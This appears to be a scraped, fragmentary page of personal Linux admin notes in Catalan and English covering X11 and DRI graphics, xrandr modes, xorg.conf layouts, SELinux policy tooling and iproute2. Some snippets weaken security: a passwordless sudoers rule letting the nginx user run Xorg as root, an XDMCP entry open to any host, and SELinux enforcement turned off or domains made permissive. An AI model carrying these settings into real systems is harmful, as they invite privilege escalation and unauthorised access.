- Mutter (used by Gnome 3)
- Compiz
- OpenBox
- Metacity
- DIX driver (device independent)
- DDX drivers (device dependent)
x11-driver-video-nouveaux11-driver-video-nvidia
- + compositing window manager
- XFree86
- XQuartz
- Cygwin/X
- X.Org Server
- client
- Xlib / libX11
- XCB (C)
- server (Wayland compositors)
- Weston
- KWin
- Mutter
- Enlightment
- client
- libwayland-client
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
kernel evdev KMS DRM Direct Rendering Manager
libdrm-intellibdrm-nouveau
hardware - keyboard
- mouse
... Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- 3D
- Linux Graphics Stack (wp) (svg)
-
dri config linux module linux command display server
kernel DRM
hardware
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- ...
- Rendering
- Linux graphics drivers DRI current
- Linux graphics drivers DRI Wayland
-
indirect rendering direct rendering Open GL application OpenGL application GLX
X11 display server
OpenGL DRI driver DRM
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- DRI - Direct Rendering Infrastructure (wp)
- is a framework for allowing direct access to graphics hardware under the X Window System in a safe, efficient way
- DRI implementation is scattered through the X Server and its associated client libraries, Mesa 3D and the Direct Rendering Manager kernel subsystem.
- Mesa 3D and Direct Rendering Infrastructure wiki
- Direct Rendering Infrastructure (DRI)
- Direct Rendering Infrastructure (wp)
- Architecture
- DRI client (an X client performing direct
rendering): e.g. provided by Mesa
- lib64xcb-dri2
- lib64xcb-dri3
- X server provides an X11 protocol extension: DRI
extension
- xorg.conf
Load "dri"
- xorg.conf
- DRM kernel module gives access to the graphics
card
- Both the X Server's DDX driver and each X client's DRI driver must use DRM to access to the graphics hardware
- DRI client (an X client performing direct
rendering): e.g. provided by Mesa
- Mesa
- ...
- Do
all intel gpu's use software rendering (Mesa) only?
LIBGL_ALWAYS_SOFTWARE=1 glxinfo|grep '\<renderer\>'
- GLX
- indirect rendering
- Remotely rendered 3D
- VirtualGL
- ...
- Targetes gràfiques
- Targetes gràfiques (maquinari)
- Targetes gràfiques (Linux)
- X-Window
- X-Window (informàtica)
- X-Window (Linux)
- Info
- Windowing system (wp)
- GLX (wp)
- GLX (initialism for "OpenGL Extension to the X Window System") is an extension to the X Window System core protocol providing an interface between OpenGL and the X Window System as well as extensions to OpenGL itself.
-
- ...
- ...
27X-Window System#
- Targetes gràfiques / Graphics cards
- X Window System (wp)
-
- X Window System protocols and architecture
- Remote login: XDMCP example (Xming)
-
- /etc/X11/xdm/Xaccess
-
* # any host can get a login window.
- /usr/share/config/kdm/kdmrc
-
[Xdmcp]Enable=true
service dm restart- firewall: allow 177/udp 6000/tcp
- XFree86 Video Timings HOWTO (obsolete!)
- Two X and KDE sessions locally? (suse-kde)
- Start
- Kill X session
- Control remot / Remote control
- GLX (wp)
- MPEG acceleration
- Implementacions / Implementations
-
- Freedesktop Xorg
(Xorg)
- view cvs
- xrestop
- man
- Mandriva meta rpm: xorg-x11-server
- XFree86
- XIG Accelerated-X
- Win32 implementations
- Freedesktop Xorg
(Xorg)
- ModeLine (monitor)
-
- DCF HR SH1 SH2 HFL VR SV1 SV2 VFL
- DCF = RR * HFL * VFL
- Monitor/VertRefresh (Hz): RR
- Monitor/HorizSync (kHz): DCF / HFL
Modeline "768x576pali" 14.76 768 789 858 944 576 580 583 625 -hsync -vsync interlace- ITU-R BT 601 4:2:2 Format
- Eines / tools
- cvt (calculate VESA CVT mode lines)
- monitor-edid
- Start (?)
startx/etc/X11/X -> /usr/bin/Xorg/etc/X11/xinit/etc/X11/xinit.d//usr/share/X11/xdm/Xsession
- Info
xrandr- xrandr --prop
- ...
- Multiple X-servers
-
Ctrl+Alt+F1 first additional X-server (:n) Ctrl+Alt+F2 default X-server (:0) Ctrl+Alt+F3 tty3 Ctrl+Alt+F4 tty4 Ctrl+Alt+F5 tty5 Ctrl+Alt+F6 tty6 Ctrl+Alt+F7 second additional X-server (:m) Ctrl+Alt+F8 third additional X-server (:...) Ctrl+Alt+F9 ... Ctrl+Alt+F10
Ctrl+Alt+F11
Ctrl+Alt+F12
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Exemples / Examples:
- start two additional x-servers (:6
and :4) with the same xorg.conf used by :0
- available at Ctrl+Alt+Fx
- programs will only run when switching to Ctrl+Alt+Fx
- graphics card will be the same as the one used by
:0
- Device...
sudo Xorg :6- will start an x-server available with CTRL-ALT-F1 (perquè és el primer servidor addicional)
- hi commutarà (com quan feu CTRL-ALT-F1)
- no windows; just a black screen
DISPLAY=:6 glxgears- will only run if you switch to x-server (CTRL-ALT-F1)
sudo Xorg :4- will start an x-server available with CTRL-ALT-F7 (perquè és el segon servidor addicional)
- no windows; just a black screen
DISPLAY=:4 glxspheres- will only run if you switch to x-server
DISPLAY=:6 glxgears- will be displayed over glxspheres, as it is smaller
DISPLAY=:4 LIBGL_ALWAYS_SOFTWARE=1 glxspheres- will be forced to run without hardware acceleration
- per a saber quins servidors X addicionals existeixen:
/tmp/.X4-lock/tmp/.X6-lock...- Problemes / Problems
parse_vt_settings: Cannot open /dev/tty0 (Permission denied)- when starting xorg as a non-root user
- Solució / Solution:
sudo Xorg- you may need to give permissions to
your user (e.g. nginx):
- /etc/sudoers.d/33-nginx
nginx ALL=(ALL) NOPASSWD: /usr/bin/Xorg
- /etc/sudoers.d/33-nginx
- ...
- start a server inside a window in your present desktop
- instal·leu xephyr
- Mageia:
sudo dnf install x11-server-xephyr- engegueu una sessió dins d'una finestra
Xephyr -screen 1024x768 :4- us obrirà una finestra negra
DISPLAY=:4 glxgears- start a dummy x-server
- running, but not available, even with Ctrl+Alt+Fx
- programs will run with no need to switch to x-server (Ctrl+Alt+Fx does not work, anyway)
- hardware acceleration is not used by default; if you want it, you must use vglrun (VirtualGL)
- deps
- Mageia
sudo dnf install x11-driver-video-dummy
- Alma / CentOS
sudo dnf install xorg-x11-drv-dummy mesa-dri-drivers
- Mageia
- setup
wget http://xpra.org/xorg.conf xorg_dummy.confxorg_dummy.conf- ...
- start x-server
sudo Xorg :6 -config xorg_dummy.conf- running, but not available, even with Ctrl+Alt+F7 (F7 corresponds to the first additional x-server)
- run programs
- will run with no need to switch to x-server (Ctrl+Alt+F6 does not work, anyway)
- without hardware acceleration
- glxspheres is provided by virtualgl
package
DISPLAY=:6 glxspheres- DISPLAY=:6 /opt/VirtualGL/bin/glxspheres64
- verify that it is running without hardware
acceleration (llvmpipe renderer):
OpenGL Renderer: llvmpipe (LLVM 11.0.1, 256 bits)
- if you want hardware acceleration, you need VirtualGL (see next item)
- Problemes
$ DISPLAY=:0 glxinfo
name of display: :0
Xlib: extension "GLX" missing on display ":0".- /var/log/Xorg.0.log
(EE) AIGLX error: dlopen of /usr/lib64/dri/swrast_dri.so failed (/usr/lib64/dri/swrast_dri.so: cannot open shared object file: No such file or directory)
- Solució / Solution
- Alma / CentOS
- dnf install mesa-dri-drivers
- Alma / CentOS
- /var/log/Xorg.0.log
- glxspheres is provided by virtualgl
package
- with hardware acceleration
(using VirtualGL)
- deps
- Mageia
sudo dnf install virtualgl
- Alma / CentOS
sudo dnf instal VirtualGL
- Mageia
- setup
vglserver_config -config
DISPLAY=:6 vglrun glxspheres- DISPLAY=:0
vglrun/opt/VirtualGL/bin/glxspheres64 - verify that it is running with hardware
acceleration:
OpenGL Renderer: Mesa DRI Intel(R) HD Graphics 4000 (IVB GT2)
- deps
- start two additional x-servers (:6
and :4) with the same xorg.conf used by :0
- ...
-
- Accés remot
-
protocol servidor / server
client
instal·lació configuració xarxa xarxa instal·lació ús (per a obtenir la pantalla de login / greeting) escriptori remot XDMCP (no funciona
amb wayland;
cal x11)SSDM com a dm
- /etc/sddm.conf
[General]
# DisplayServer=wayland
DisplayServer=x11
[XDMCP]
Enabled=true
ss -ulnp | grep 177sudo ufw allow 177/udp
Xephyr:
sudo dnf install x11-server-xephyr
des d'una terminal tty (CTRL+ALT+Fn):
Xorg -query remote_address :1
Xephyr -query remote_address -screen 1024x768 :1
RDP (Microsoft)
l'usuari ha d'haver iniciat sessió gràfica
Remmina:
dnf install remmina-plugins-rdp
Remmina:
rdp://remote_user@remote_address
krdc:
dnf install krdc
finestra remota SSH + X11 forwarding
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- RandR (Resize and Rotate)
- Info
- Projects/XRandR (x.org)
- Resolution (Ubuntu)
- The
X
Resize, Rotate and Reflect Extension (txt)
- Border property (overscan)
- RandR 1.3 Transformation, Panning, Properties (pdf)
- Xorg
RandR 1.2 (ThinkWiki)
- Now
automate
it on login
/etc/X11/Xsession.d/45custom_xrandr-settings
- Now
automate
it on login
- Sample Fn-F7 script (acpid service)
- A Newbie's Guide To RandR 1.2 (Phoronix)
- How to setup Dual Head for Intel Graphics with RandR 1.2 (Intel Linux Graphics) (xrandr, xorg.conf)
- panning
xrandr --output LVDS1 --mode 1440x900 --panning 2000x1200+0+0/2000x1200+0+0/100/100/100/100- Panning using xrandr
- xrandr, panning, OpenSuse, and KDE
- overscan
- xorg.conf
SubSection "Display"
...
Virtual 2048 2048
EndSubSection
- Output:
analog
digital
intern
LVDS1 monitor extern
VGA1 DVI1
DP1
TV extern
TV1
HDMI1
HDMI2
HDMI3
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- línia de comanda / command line:
xrandr
- info
xrandr --propxrandr --verbose
- to get 1920x1200 on a 1440x900 laptop screen:
xrandr --output LVDS1 --scale 1.3333x1.3333
- to get 1024x576 on a 1280x720 HDMI screen:
xrandr --output HDMI3 --mode 1280x720 --scale 0.8x0.8
- native resolution (laptop screen):
xrandr --output LVDS1 --scale 1x1
- no scaling for non-native resolution (laptop screen):
xrandr --output LVDS1 --mode 1024x768 --set "scaling mode" "Center"
- set the screen size to 720x576:
xrandr -s 720x576
- How
change
display resolution settings using xrandr
cvt 1024 768xrandr --newmode “1024x768_60.00″ 63.50 1024 1072 1176 1328 768 771 775 798 -hsync +vsyncxrandr --addmode VGA1 1024x768_60.00xrandr --output VGA1 --mode 1024x768_60.00
cvt 1920 1080 50 ...(interlaced) (MythTV JudderFree) (judder)xrandr --newmode "1920x1080_50i" 74.250 1920 2448 2492 2640 1080 1085 1095 1125 +hsync +vsync Interlacexrandr --addmode HDMI31920x1080_50ixrandr --outputHDMI3--mode1920x1080_50i
cvt 1920 1080 50xrandr --newmode "1920x1080_50p" 148.500 1920 2448 2492 2640 1080 1084 1089 1125 +hsync +vsyncxrandr --addmode HDMI31920x1080_50pxrandr --outputHDMI3--mode1920x1080_50p
cvt 1920 1080 50(*) (no funciona)xrandr --newmode "1920x1080_50.00" 141.50 1920 2032 2232 2544 1080 1083 1088 1114 -hsync +vsyncxrandr --addmode HDMI31920x1080_50.00xrandr --outputHDMI3--mode1920x1080_50.00
- info
- Canvis permanents / Persistent changes
- GUI
- KDE KControl: Arranjament del sistema
- Maquinari -> Pantalla i monitor
- GNOME
- ...
- KDE KControl: Arranjament del sistema
- Info
- X11
configuration
- Targetes
gràfiques
/ Graphics cards
man xorg.conf- /etc/X11/
- xorg.conf
- xorg.conf.d/
- 00-keyboard.conf
- version
- from console:
X -version- 1.20.13
- from console:
- DPI
- DRI
- xvidtune (xorg)
- xtiming
- doublescan
- xorg.conf
- HDTV
- Nova sessió
- Xorg
multiseat
loginctl
loginctl seat-status seat0
- Is it possible for a X server to have multiple displays?
- Mageia
- Energia / Sessió -> Commuta d'usuari
- crearà un nou display, a CTRL-ALT+F2
- ara hi haurà dos displays:
- /usr/bin/sddm
- /usr/libexec/Xorg -nolisten tcp -background none -seat seat0 vt1 -auth /var/run/sddm/{086be567-64ac-42c0-9257-5e3eb6ab88d6} -noreset -displayfd 16
- /usr/libexec/Xorg -nolisten tcp -background none -seat seat0 vt2 -auth /var/run/sddm/{4d609c7a-c4af-4f86-b90a-4cdcb378632f} -noreset -displayfd 17
- /usr/bin/sddm
- Energia / Sessió -> Commuta d'usuari
- Xorg
multiseat
- Estructura / Structure
- Xorg (ArchWiki)
-
ServerFlags
- AllowMouseOpenFail
- Option ...
Module
- Load "v4l"
ServerLayout (:0, CTRL+ALT+F1) (display=screen+keyboard+mouse)
- Identifier "layout1"
Screen (card+monitor)
- Identifier "screen1"
InputClass
- Identifier "system-keyboard"
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
ServerLayout (:1, CTRL+ALT+F2)
Screen
Device Monitor Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
ServerLayout (:2, CTRL+ALT+F3) Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- BusID:
-
lspci | grep -e VGA -e 3D
lspci -vnn | grep '\''[030[02]\]'- Mountain
xxx
00:02.0 VGA compatible controller [0300]: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller])
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GK107M [GeForce GTX 660M] [10de:0fd4] (rev a1) (prog-if 00 [VGA controller])
- PCSpecialist
Defiance
00:02.0 VGA compatible controller [0300]: Intel Corporation TigerLake-H GT1 [UHD Graphics] [8086:9a60] (rev 01) (prog-if 00 [VGA controller])
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GA104M [GeForce RTX 3070 Mobile / Max-Q] [10de:249d] (rev a1) (prog-if 00 [VGA controller])
- Mountain
xxx
-
- DISPLAY
- See also SSH X11 forwarding
DISPLAY=[<server_name>]:D.S- D: display number (server layout)
- S: screen number
- Examples
- Two server layouts
- ...
ServerLayout (:0, CTRL+ALT+F7)
- Identifier "layout_crt"
Screen
- Identifier "screen_crt"
Device
- Identifier "card_crt"
- Driver "nvidia"
- BusID "PCI:1:0:0"
Monitor
- Identifier "crt"
- HorizSync
- VertRefresh
- ModeLine "1280x1024" ...
- ModeLine "1024x768" ...
- ...
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Subsection "Display"
- Viewport 0 0
- Depth 24
- Modes "1280x1024" "1024x768" (CTRL-ALT-+/-)
- Subsection "Display"
- Viewport 0 0
- Depth 16
- Modes "1280x1024" "1024x768"
- ...
InputDevice
- Identifier "keyboard0"
InputDevice
- Identifier "mouse0"
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- InputDevice "mouse0" "CorePointer"
- InputDevice "keyboard0" "CoreKeyboard"
ServerLayout (:1, CTRL+ALT+F8)
- Identifier "layout_tv"
Screen
- Identifier "screen_tv"
Device
- Identifier "card_tv"
- Driver "nvidia"
- BusID "PCI:1:0:0"
- Option "TVOutFormat" "SVIDEO"
- Option "TVStandard" "PAL-B"
- Option "ConnectedMonitor" "tele"
Monitor
- Identifier "tele"
- HorizSync 30-50
- VertRefresh 60
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Subsection "Display"
- ...
- Modes "1920x1080_60" "1280x720_60" "720x480_60"
- ...
InputDevice
- Identifier "keyboard0"
InputDevice
- Identifier "mouse0"
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- InputDevice "mouse0" "CorePointer"
- InputDevice "keyboard0" "CoreKeyboard"
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- ...
- One server layout with 2 screens:
- ...
ServerLayout
(:0, CTRL+ALT+F7)
- Identifier "layout0"
Screen
- Identifier "screen_crt"
Device
- Identifier "card_crt"
- Driver "nvidia"
- BusID "PCI:1:0:0"
- Screen 0 (:0.0)
Monitor
- Identifier "crt"
- HorizSync
- VertRefresh
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
Screen
- Identifier "screen_tv"
Device
- Identifier "card_tv"
- Driver "nvidia"
- BusID "PCI:1:0:0"
- Screen 1 (:0.1)
- Option "TVOutFormat" "SVIDEO"
- Option "TVStandard" "PAL-B"
- Option "ConnectedMonitor" "tele"
Monitor
- Identifier "tele"
- HorizSync 30-50
- VertRefresh 60
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
InputDevice
- Identifier "keyboard0"
InputDevice
- Identifier "mouse0"
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Screen 0 "screen_crt"
- Screen 1 "screen_tv" rightof "screen_crt"
- InputDevice "mouse0" "CorePointer"
- InputDevice "keyboard0" "CoreKeyboard"
- ...
ServerLayout
(:0, CTRL+ALT+F7)
- Two video cards
- ...
- Dummy display
- See also Unity3D on virtual screen
- Dependencies
- Mageia
sudo dnf install x11-driver-video-dummy
- Mageia
- ...
- Two server layouts
- Targetes
gràfiques
/ Graphics cards
- Configuració d'usuari / User setup
~/.Xauthority- Problemes / Problems
- no es pot entrar com a usuari / login
not working
- esborreu (o reanomeneu)
~/.Xauthority. Es regenerarà quan torneu a entrar.
- esborreu (o reanomeneu)
- les finestres no tenen ombres
- Solució / Solution
- ~/.config/kwinrc
[Compositing]
OpenGLIsUnsafe=false
- ~/.config/kwinrc
- Solució / Solution
- no es pot entrar com a usuari / login
not working
DISPLAY=:1 xterm/usr/local/bin/mplayer.tv-
#!/bin/shexec /usr/X11R6/bin/xinit /usr/bin/xterm -ut -e /usr/bin/mplayer -stop-xscreensaver -fs -vo sdl "$@" -- /usr/X11R6/bin/X :1 -layout layout_tv
- DVI: "DFP", "CRT-0"
- VGA: "CRT", "CRT-1"
28Captures de pantalla / Screencast#
- gtk-recordMyDesktop
- ffmpeg x11grab
29DirectFB#
- Utilitats / Tips
- Linux Framebuffer HOWTO
-
DirectFB X11 /etc/directfbrc (*) /etc/X11/xorg.conf
Device
Driver="fbdev"Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
bootsplash (text console): /etc/bootsplash/themes/current/config
vesa intelfb viafb (*) linux-viafb
(DirectFB) (*)compilation
modprobe
intelfb mode=1024x768-76 viafb mode=1024x768 bpp=32 refresh=60 active_dev=CRT (readme.txt)
/boot/grub/menu.lst vga=xxx [video=vesa...] video=intelfb (*) video=viafb:mode=1024x768,bpp=32,active_dev=CRT (*)
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- VESA Framebuffer modes:
bits 640x400 640x480 800x600 1024x768 1152x864 1280x1024 1600x1200 4
- 770
0x302
8 768
0x300769
0x301771
0x303773
0x3050x161 775
0x307796
0x31c15
0x310
0x3130x316 0x162 0x319 797
0x31d16
785
0x311788
0x314791
0x3170x163 794
0x31a798
0x31e24
786?
0x312789?
0x315792?
0x318
795?
0x31b799?
0x31f32
786?
0x312789?
0x315792?
0x3180x164 795?
0x31b799?
0x31fAquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Use a VESA
fb
mode with 24/32bpp (792: 1024x768 24/32bpp):
- grub
- /boot/grub/menu.lst
- kernel ... vga=792 append="video=vesa:ywrap,mtrr"
- /boot/grub/menu.lst
- lilo
- grub
- Check with:
- dfbterm (urpmi dfbterm)
- dfbshow (urpmi dfb++-examples)
- mplayer -vo directfb toto.mp4
- fbset (/etc/fb.modes)
- urpmi fbset
- fbset -i
- Aplicacions / Applications
- Navegador / Browser
30Publicacions / Publications#
31Seguretat / Security#
- SELinux
- CentOS SELinux
- status
sestatus
- enforce
setenforce 0setenforce 1getenforce
- Type Enforcement (TE)
- booleans (not kept among reboots; make them permanent with
-P or build a .pp
file instead)
- get booleans
- only present status:
getsebool -a- present State and Default:
- semanage boolean -l
- set permanently:
setsebool -P <boolean>=1
- get booleans
- monitor SELinux activity:
tail -f /var/log/audit/audit.log
- dependencies
- Ubuntu
- How to disable/enable SELinux on Ubuntu 22.04 Jammy Jellyfish Linux
- Passos / Steps
sudo apt updatesudo apt install policycoreutils selinux-utils selinux-basicssudo selinux-activatesudo selinux-config-enforcingreboot...
- Problemes
Failed to start Relabel all filesystems.
See 'systemctl status selinux-autorelabel.service' for details- Solució
- ...
- Solució
- Mageia
urpmi checkpolicyurpmi policycoreutils
- CentOS/Alma
- checkmodule
sudo yum install checkpolicy
- semodule_package
sudo dnf install policycoreutils-python-utils
sudo yum install policycoreutils-python
- checkmodule
- Ubuntu
- semodule
- install from pp
rule, with no specific level (default is 400)
semodule -i mymodule.pp
- install from pp
rule, with specific level
semodule -X 300 -i mymodule.pp
- remove rules
semodule -r mymodule
- Problemes
- when trying to install: ...
- unit has a different name, e.g. pulseaudiosw
- when trying to install: ...
- install from pp
rule, with no specific level (default is 400)
- generació de regles (.pp) /
generate rules (.pp)
- (?) "mymodule" is extracted from "mymodule.service"
- examples for:
- CentOS/Alma 8
- audit
# generate mymodule.te (text format, that can be modified; mymodule is an arbitrary name, to group things)
ausearch -c 'mycommand' --raw | audit2allow -m mymodule >mymodule.te# convert mymodule.te -> mymodule.mod
checkmodule -M -m -o mymodule.mod mymodule.te# convert mymodule.mod -> mymodule.pp
semodule_package -m mymodule.mod -o mymodule.pp# apply mymodule.pp(at default level 400)
semodule -i mymodule.pp- all in one (no intermediate te text file):
- audit
- CentOS 7
# generate local.te
cat /var/log/audit/audit.log | audit2allow -m local >local.te# convert local.te -> local.mod
checkmodule -M -m -o local.mod local.te# convert local.mod -> local.pp
semodule_package -o local.pp -m local.mod# apply local.pp
semodule -i local.pp
- audit (file
/var/log/audit/audit.log)- Dependències / Dependencies
- 8.3.5.
Searching For and Viewing Denials
- ausearch, aureport, sealert
- audit2why
audit2why </var/log/audit/audit.log
- audit2allow
- all (include rules already active)
audit2allow -a
- all (include rules already active)
- ausearch
- search for success=no, output text for humans
ausearch -sv 'no' --format text
- search for success=no, output text for humans
- domains
- PermissiveDomainRecipe
- Permissive Domains
- add domain to permissive list (e.g. when having
permission problems when nginx tries to write to a dir
mounted using s3fs)
semanage permissive -a netutils_t- or put it on a te file (generació de regles / rule
generation):
- permissive_netutils.te
module permissive_netutils 1.0;
require {
type netutils_t;
}
permissive netutils_t;
checkmodule -M -m -o permissive_netutils.mod permissive_netutils.tesemodule_package -o permissive_netutils.pp -m permissive_netutils.modsemodule -i permissive_netutils.pp
- permissive_netutils.te
- remove domain from permissive list
semanage permissive -d netutils_t
- get list of domains that has been added as permissive:
semodule -l | grep permissive
- modules
- dirs
- /var/lib/selinux/targeted/active/modules/
- generació de regles / rule generation
- old instructions:
- option 1: step by step
- generate my_unit.te (my_unit is the systemd unit: nginx,
httpd, ...) ()
grep my_unit /var/log/audit/audit.log | audit2allow -m my_unit >my_unit.te
- generate my_unit.mod
checkmodule -M -m -o my_unit.mod my_unit.te
- compile it to my_unit.pp
semodule_package -o my_unit.pp -m my_unit.mod
- generate my_unit.te (my_unit is the systemd unit: nginx,
httpd, ...) ()
- option 2: all in one step
grep my_unit /var/log/audit/audit.log | audit2allow -M my_unit
- install it
semodule -i my_unit.pp- semodule -X 300 -i my_unit.pp
- option 1: step by step
- analyse my_unit.pp
sedismod my_unit.pp- 1)
- a)
- Exemples / Examples
- unit has a different name
- nginx
- nginx.te
module nginx 1.0;
require {
type httpd_t;
type init_t;
type nfs_t;
type mnt_t;
type user_home_t;
type var_lib_t;
type unlabeled_t;
class unix_stream_socket connectto;
class file { create read write getattr open};
class dir { create open getattr setattr read write add_name };
class lnk_file read;
class sock_file write;
}
#============= httpd_t ==============
allow httpd_t init_t:unix_stream_socket connectto;
allow httpd_t nfs_t:file { create read write getattr open};
allow httpd_t nfs_t:dir { create open getattr setattr read write add_name };allow httpd_t mnt_t:dir { create open getattr setattr read write add_name };
allow httpd_t nfs_t:lnk_file read;
allow httpd_t user_home_t:file {read open};
allow httpd_t var_lib_t:sock_file write;
allow httpd_t unlabeled_t:lnk_file read;
allow httpd_t unlabeled_t:file {read open};
checkmodule -M -m -o nginx.mod nginx.tesemodule_package -o nginx.pp -m nginx.modsemodule -i nginx.pp
- nginx.te
- ...
- dirs
- labels
- 5.6. SELinux Contexts – Labeling Files
- labels
get:
ls -Zset:
chconexamples selinux te file user <user>:<role>:<type>:<level>-u <user>system_u...
role -r <role>object_r...
type -t <type>httpd_tinit_tnfs_tunlabeled_tuser_home_tvar_log_tvar_lib_t...
type ...;level
s0
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- get labels for a given file:
ls -Z ...<user>:<role>:<type>:<level>
- default labels
- defined at:
/etc/selinux/targeted/contexts/files/
- files with no default labels will have:
- ...
- add default labels:
- 5.6.2. Persistent Changes: semanage fcontext
semanage fcontext -a options file-name|directory-name- semanage fcontext -a -t samba_share_t /etc/file1
- apply default labels
- defined at:
- change labels
chcon -u <user> -r <role> -t <type> ...- Examples
sudo chcon -u system_u -t etc_t /etc/logrotate.d/celery
- Examples
- restore labels of a file according to default labels
- dry-run
restorecon -n ...
restorecon -v ...
- dry-run
- logrotate
- logrotate cron job not rotating certain logs
- logrotate config file:
sudo chcon -u system_u -t etc_t /etc/logrotate.d/celery
- logrotate destination dir and files:
sudo chcon -u system_u -t var_log_t /my/celery/log/dir- ...
- HTTP
servers
- list the ports open for http service:
semanage port -l | grep -w http_port_thttp_port_t tcp 80, 81, 443, 488, 8008, 8009, 8443, 9000
- allow port 8888 for http:
semanage port -a -t http_port_t -p tcp 8888
- Change port on server:
- allow Apache to connect other servers (e.g. APNS push
notifications server) (to avoid: "[Errno 13] Permission
denied"):
setsebool -P httpd_can_network_connect 1
- create
a module (.pp)
grep apache /var/log/audit/audit.log ...
- list the ports open for http service:
- mount
# mount --verbose /mnt/vol1
mount: /mnt/vol1 does not contain SELinux labels.
You just mounted an file system that supports labels which does not
contain labels, onto an SELinux box. It is likely that confined
applications will generate AVC messages and not be allowed access to
this file system. For more details see restorecon(8) and mount(8).- labels
- Solution
- ...
- NFS
- Lynis
- BackTrack
- BackBox Linux
- msec (Mandriva/Mageia)
- /etc/security/msec/
- /etc/cron.daily/msec -> /usr/share/msec/security.sh
32Shell#
- Trucs / Tips
- CPU / memory / file activity
- Bash reference manual (gnu)
- bash examples
- 5 Bash tips every Linux user should know
- Working more productively with bash 2.x (esc-p history completion)
- UNIX For DOS Users
- Combinacions de tecles / Key combinations
- Encrypting shell scripts
33Sistema de fitxers / File systems#
- Estructura de directoris / Directory structure
- I Like My File Systems Chunky: UnionsFS and ChunkFS (Linux Magazine)
- Metadata Performance Exploration Part 2: XFS, JFS, ReiserFS, ext2, and Reiser4 (Linux Magazine)
- ext FS (ext2, ext3)
- Ext2fs Home Page
- Imatges de disc / Disk images
-
- Comparison of disk cloning software (wp)
- Notes on backing up entire hard disks or partitions
- Programari / Software
- Partimage (partition -> image file)
-
- DeviceImage
- Live distributions
- DRBL - Diskless Remote Boot in Linux(wp)
- Submount
- Particions / Partitions
- Captive (NTFS rw)
-
- Howto (SystemRescueCD)
- dosfstools (FAT) (included in SystemRescueCd)
- A Stackable Unification File System
- Logical volume management (LVM)
- Samba
- File recovery
- foremost
- PhotoRec
(CGSecurity)
- Recover SD card
- Instal·lació / Installation
- Mageia
urpmi photorec ddrescue
- CentOS
sudo yum install testdisk
- Mageia
- Usage
- Disk usage
34SGI Linux#
35Usuaris i grups / Users and groups#
- Usuaris / Users
- Grups / Groups
- User and Group Management 101 (Linux Magazine)
- Maximum number of supplementary groups
- ngroups_max
(Wuhai's Weblog)
cat /proc/sys/kernel/ngroups_max
36Variables d'entorn / Environment variables#
37Llengua / Language (i18n, l10n)#
- /etc/sysconfig/i18n:
LANGUAGE=ca:enLANG=ca_ES.UTF-8:en
- gimp in English
export LANGUAGE=en; gimp
-
variable
example value
default value specified at
non-default specified at
files
installed by package
used by
LANG
- ca_ES.UTF-8
- Mageia: /etc/sysconfig/i18n
- CentOS: /etc/locale.conf
/usr/share/locale/<LANG>/
- LC_PAPER
- LC_NAME
- LC_MEASUREMENT
- LC_TELEPHONE
- LC_NUMERIC
- LC_MONETARY
- LC_TIME
- LC_IDENTIFICATION
- LC_COLLATE
- LC_ADDRESS
- LC_TYPE
- LC_MESSAGES
- SYS_LC_MESSAGES
locales-ca
shell commands:
- ls
- date
LANG=en_GB date
Mon 20 Feb 11:45:03 CET 2017LANG=en_US date
Mon Feb 20 11:45:08 CET 2017
- ...
LANGUAGE
- ca
/etc/sysconfig/i18n ~/.i18n
/usr/share/locale/<LANGUAGE>/LC_MESSAGES/*.mo (each software package)
software
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
38Data / Date#
- Set system local time to UTC
ln -s /usr/share/zoneinfo/UTC /etc/localtime
39Xarxes / Networks#
- Linux Home Netwoking
- Linux Network Administrators Guide
- Consistent Network
Device Naming coming to Fedora 15 (biosdevname)
- embeded (on-board):
- em0, em1...
- PCI
- pci1#0 ...
- embeded (on-board):
- Eines / Tools
- Info
- iproute2
(wp:
replacement table)
- use iproute2 instead of: ifconfig, route, netstat, brctl, ...
- components:
-
group action iproute2 old tools link (network device) create ip link add name br0 type bridge
activate ip link set wlan0 up
deactivate ip link set wlan0 down
show ip link show wlan0
list
ip link
ip l
ip link list
address
create ip addr add 192.18.0.102/24 dev eth0 broadcast +ifconfig lo 192.18.0.102 netmask 255.255.255.0 broadcast 192.168.0.255list ip addr
remove ip addr delete 192.168.0.102/24 dev eth0
route
add ip route add 192.168.0.0/24 dev enp1s0f1route add -net 192.168.0.0 netmask 255.255.255.0 dev enp1s0f1list ip routeroute -nnetstat -rdelete ip route del 192.168.0.0/24 dev enp1s0f1
ip route del default dev wlp46s0route del -net 192.168.0.0 netmask 255.255.255.0 dev enp1s0f1bridge
create ip link add name br0 type bridgebrctl addbr br0add interface ip link set eth0 master br0;
ip link set eth1 master br0;brctl addif br0 eth0;
brctl addif br0 eth1activate ip link set br0 upifconfig br0 10.0.1.12 upshow bridge linkbrctl showremove interface ip link set eth0 nomaster;
ip link set eth1 nomaster;brctl delif br0 eth0;
brctl delif br0 eth1deactivate ip link set dev br0 downifconfig br0 downdelete ip link delete br0brctl delbr br0statistics
ip -sssnetstat
